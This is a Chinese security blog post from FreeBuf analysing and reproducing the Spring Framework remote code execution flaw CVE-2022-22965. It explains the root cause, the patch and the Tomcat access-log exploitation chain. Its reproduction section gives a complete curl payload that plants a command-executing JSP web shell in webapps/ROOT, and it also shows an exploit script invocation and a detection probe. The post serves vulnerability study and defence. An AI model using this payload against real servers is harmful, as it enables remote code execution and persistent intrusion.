freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现
yunzui 2022-04-16 21:28:58 335470
所属地 北京

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞描述

2022年3月31日,Spring 官方发布安全更新通告,修复了 Spring Framework 中存在的远程代码执行漏洞,漏洞编号为CVE-2022-22965,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。

1650101843_625a8e538f702c01207f7.png!small

0x02漏洞危害

在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对 ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。

0x03漏洞影响

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

受影响条件(需同时满足):

- JDK 9 及以上版本

- Apache Tomcat 作为 Servlet 容器

- Spring 框架以及衍生的框架

0x03漏洞分析

漏洞原理

通过对java jdk9以上版本的新特性moudle.getClassLoader()利用,并绕过原有CVE-2010-1622的补丁,结合tomcat的某些列类进行漏洞利用。(通过 module 来调用 JDK 模块下的方法,而 module 并不在黑名单中,所以能够绕过黑名单。)

搭建漏洞分析环境
JDK 11.0.14
Tomcat 8.5.77
Spring  2.6.3

1650100936_625a8ac83b8b4fc5137fe.png!small

知识普及

Java.lang.class

在java中有两种对象:class对象和实例对象。实例对象,是类的实例,通常是通过new这个关键字构建。class对象,是JVM生成用来保存对象类的信息。

在 java.lang.Class 类中对 Class 类的构造方法有相关说明:

/*

* Private constructor. Only the Java Virtual Machine creates Class objects.

* This constructor is not used and prevents the default constructor being

* generated.

*/

private Class(ClassLoader loader, Class<?> arrayComponentType) {

// Initialize final field for classLoader.  The initialization value of non-null

// prevents future JIT optimizations from assuming this final field is null.

classLoader = loader;

componentType = arrayComponentType;

}

Class 类的构造方法是私有构造函数,只有 JVM 才可以创建该类的对象。没有办法通过 new 的方式声明一个 Class 对象,但是依然有其他方式获得 Class 类的对象,如:通过类的静态成员变量来获取、通过 java.lang.Object.getClass() 方法返回运行时类的对象、通过 Class 的静态方法 forName()获取。

可以这样去理解,获取到一个类对象后,就可以调用这个类中的一些方法,当获取到 Class 对象后,变相的获取了所有 Class 类的对象,通过调用这个 Class 类下实例对象的方法,就相当于调用了实例对象的方法。

javabean

JavaBean 是一种 Java 语言写成的可重用组件。写成 JavaBean,类必须是具体的和公共的,并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,long 和 class 方法获取。众所周知,属性名称符合这种模式,其他 Java 类可以通过自省机制发现和操作这些 JavaBean 的属性。javaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法 名符合某种命名规则。下面就是JavaBean的示例

publicclassStudent{

privateIntegerage;

privateStringname;

privateIntegerid;

publicvoidsetAge(Integerage) {

this.age= age;

}

publicIntegergetAge() {

returnage;

}

publicvoidsetName(Stringname) {

this.name= name;

}

publicStringgetName() {

returnname;

}

publicvoidsetId(Integerid) {

this.id= id;

}

publicIntegergetId() {

returnid;

}

}

JavaBean 标准有以下要求:

所有的类必须声明为public,这样才能够被外部所访问;

类中所有的属性都必须封装,即:使用private声明;

封装的属性如果需要被外部所操作,则必须编写对应的setter、getter方法;

一个 JavaBean 中至少存在一个无参构造方法

publicclassPerson{

privateStringname;

privateintage;

publicStringgetName() {

returnthis.name;

}

publicvoidsetName(Stringname) {

this.name= name;

}

publicintgetAge() {

returnthis.age;

}

publicvoidsetAge(intage) {

this.age= age;

}

}

漏洞分析

主要代码

1650101899_625a8e8be115ea241132d.png!small

代码调试,执行位置

1650101128_625a8b881902f0860fd65.png!small

1650102384_625a9070761cba0425970.png!small

1650101153_625a8ba108ec6b5a442af.png!small

1650103038_625a92fe5dab5a63fda44.png!small

这里就可以获取到 class对象,然后利⽤这个 class 对象构造利⽤链了,⽬前⽐较简单的⽅式,就是修改Tomcat的⽇志配置,向⽇志中写⼊恶意代码。⼀条完整的利⽤链如下: class.module.classLoader.resources.context.parent.pipeline.first.pattern=恶意代码 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=路径(webapps/ROOT) class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Access Log中也支持cookie,请求header,响应headers,Session或者其他在ServletRequest 中的对象的信息。格式遵循apache语法:

%{xxx}i 请求headers的信息

%{xxx}o 响应headers的信息

%{xxx}c 请求cookie的信息

%{xxx}r xxx是ServletRequest的一个属性

%{xxx}s xxx是HttpSession的一个属性

common模式的pattern(即默认pattern参数)的格式为'%h %l %u %t “%r” %s %b'。combined模式的 pattern可以增加Referer和User-Agent headers的参数形式,每个参数用双引号包起来,引号中的内容 还是上面列举的参数。比如"%{User-Agent}i"使其为”%{User-Agent}i“,即请求的User-Agent(客户端, 浏览器)

AccessLogValve类有公共的可以使用的get/set方法。

className 执行Access Log任务的类,默认是org.apache.catalina.valves.AccessLogValve;也可以使用 org.apache.catalina.valves.FastCommonAccessLogValve,但这时候只支持common和combined patterns。

directory AccessLogValve产生的Access Log文件存放目录的绝对路径或者相对路径。如果是相对路径,那么是相对 $CATALINA_HOME的。如果没有指定这个参数,默认值是"logs"(相对$CATALINA_HOME)。

pattern 用于指定展示在Access Log中的各种request和response的信息字段的格式,也可以使用单词common或者 combined来选择一种标准的日志形式。下一节会详细介绍。 注意优化的access只支持common和combined格式。

prefix 每个Access Log文件的文件名前缀,如果没有指定,默认是"access_log.“,如果想没有前缀,则指定一 个空的字符串(zero-length string)。

resolveHosts 如果设置为true,则会通过DNS lookup将远程主机的IP地址转换成对应的主机。设置成false则跳过这个 DNS lookup过程,然后在日志中直接展示IP地址。

suffix 每个Access Log文件的文件名后缀,如果没有指定,默认值是“”,如果想没有后缀,则指定一个空的字符串 (zero-length string)。

rotatable 默认为true。这个参数决定是否需要切换切换日志文件,如果被设置为false,则日志文件不会切换,即所有 文件打到同一个日志文件中,并且fileDateFormat参数也会被忽略。小心使用这个参数。

condition 设置是否打开条件日志,如果设置了这个参数,requests只有当ServletRequest.getAttribute()为 null的时候才会被记录日志。比如这个值被设置成junk,然后当一个特定请求的 ServletRequest.getAttribute(“junk”) == null的时候,这个request会被记录。使用Filters很 容易在ServletRequest中设置或者不设置这个属性。

fileDateFormat Tomcat允许指定Access Log文件名中日期格式。日期格式同时也决定了如何切换日志文件的策略,比如如果 你想每小时生成一个日志文件,设置这个值为yyyy-MM-dd.HH。

0x04漏洞修复

针对该漏洞Spring以及 Tomcat都做出了修复。

Spring: Class类仅可以获取name相关的值了,而且对没有写操作权限的ClassLoader以及ProtectionDomain做了限制。

Tomcat:tomcat则是直接把getResources返回为空。

官方补丁

https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c

1650101974_625a8ed6ad90e6d79faaa.png!small

0x05漏洞复现

该漏洞环境搭建调试过程比较坑,搭建过的人应该都感同身受吧。最简单的方式就是将漏洞代码通过打包成war,然后使用tomca环境部署,这里要注意Java版本必须要jdk9以上,否则怎么验证都没有漏洞!

docker环境验证

1650101989_625a8ee5aaa398fda818d.png!small

方式一(有害)

curl -v -d "class.module.classLoaderesources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://10.211.55.2:46966/

脚本:

python3 exp.py --url http://10.211.55.2:46966/

1650102010_625a8efa9d7b54d32111a.png!small

通过上传的jsp文件进行RCE

1650101389_625a8c8d9d9bd562a230a.png!small

方式二(无害)

通过该payload测试,如果返回404,则可能存在漏洞

?class.module.classLoader.URLs%5B0%5D=0

通过GET方法

1650101429_625a8cb5c5310aa9d702f.png!small

通过POST方法

1650101468_625a8cdc9c45ec76e9a69.png!small

通过AWVS扫描器发现

1650101496_625a8cf86d9650fb75ab9.png!small

1650101511_625a8d0731c1b41680148.png!small

0x05漏洞修复

目前 Spring 官方已经发布了解决上述漏洞的安全更新,建议受影响用户尽快升级到安全版本:

安全版本:

Spring Framework == 5.3.18

Spring Framework == 5.2.20

官方安全版本下载可以参考以下链接:

https://github.com/spring-projects/spring-framework/tags

0x06参考链接

https://vas.vulbox.com/vuln-detail?id=117&source=vb

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

https://nox.qianxin.com/vulnerability/detail/QVD-2022-1691

https://mp.weixin.qq.com/s/ixTbyZyb0FTmc7xaSqxtPw

# 网络安全 # 漏洞分析
本文为 yunzui 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yunzui LV.5
闻道有先后,术业有专攻!
  • 32 文章数
  • 43 关注者
漏洞复现|Adobe ColdFusion任意文件读取漏洞(CVE-2024-20767)
2024-04-02
漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)
2024-02-20
Sigma规则下的威胁检测
2022-07-31